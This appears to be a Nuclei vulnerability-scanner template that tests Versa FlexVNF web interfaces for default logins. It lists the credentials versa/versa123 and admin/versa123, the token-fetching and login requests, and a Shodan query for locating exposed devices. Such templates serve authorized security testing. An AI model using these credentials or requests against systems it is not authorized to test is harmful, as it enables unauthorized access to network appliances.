versa-flexvnf-default-login: Versa FlexVNF - Default Login

id: versa-flexvnf-default-login

info:
  name: Versa FlexVNF - Default Login
  author: c-sh0
  severity: high
  description: Versa FlexVNF contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://versa-networks.com/products/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:o:versa-networks:versa_operating_system:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    shodan-query: title:"Flex VNF Web-UI"
    product: versa_operating_system
    vendor: versa-networks
  tags: default-login,versa,flexvnf,vuln

http:
  - raw:
      - |
        GET /authenticate HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /authenticate HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8
        CSRF-Token: {{xsrf_token}}

        {"username":"{{username}}","password":"{{password}}"}

    attack: pitchfork
    payloads:
      username:
        - versa
        - admin
      password:
        - versa123
        - versa123
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{\"username\":\"{{username}}\",\"error\":false}"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: xsrf_token
        group: 1
        internal: true
        part: header
        regex:
          - '(?i)Set-Cookie: XSRF-TOKEN=([A-Za-z0-9_.-]+)'
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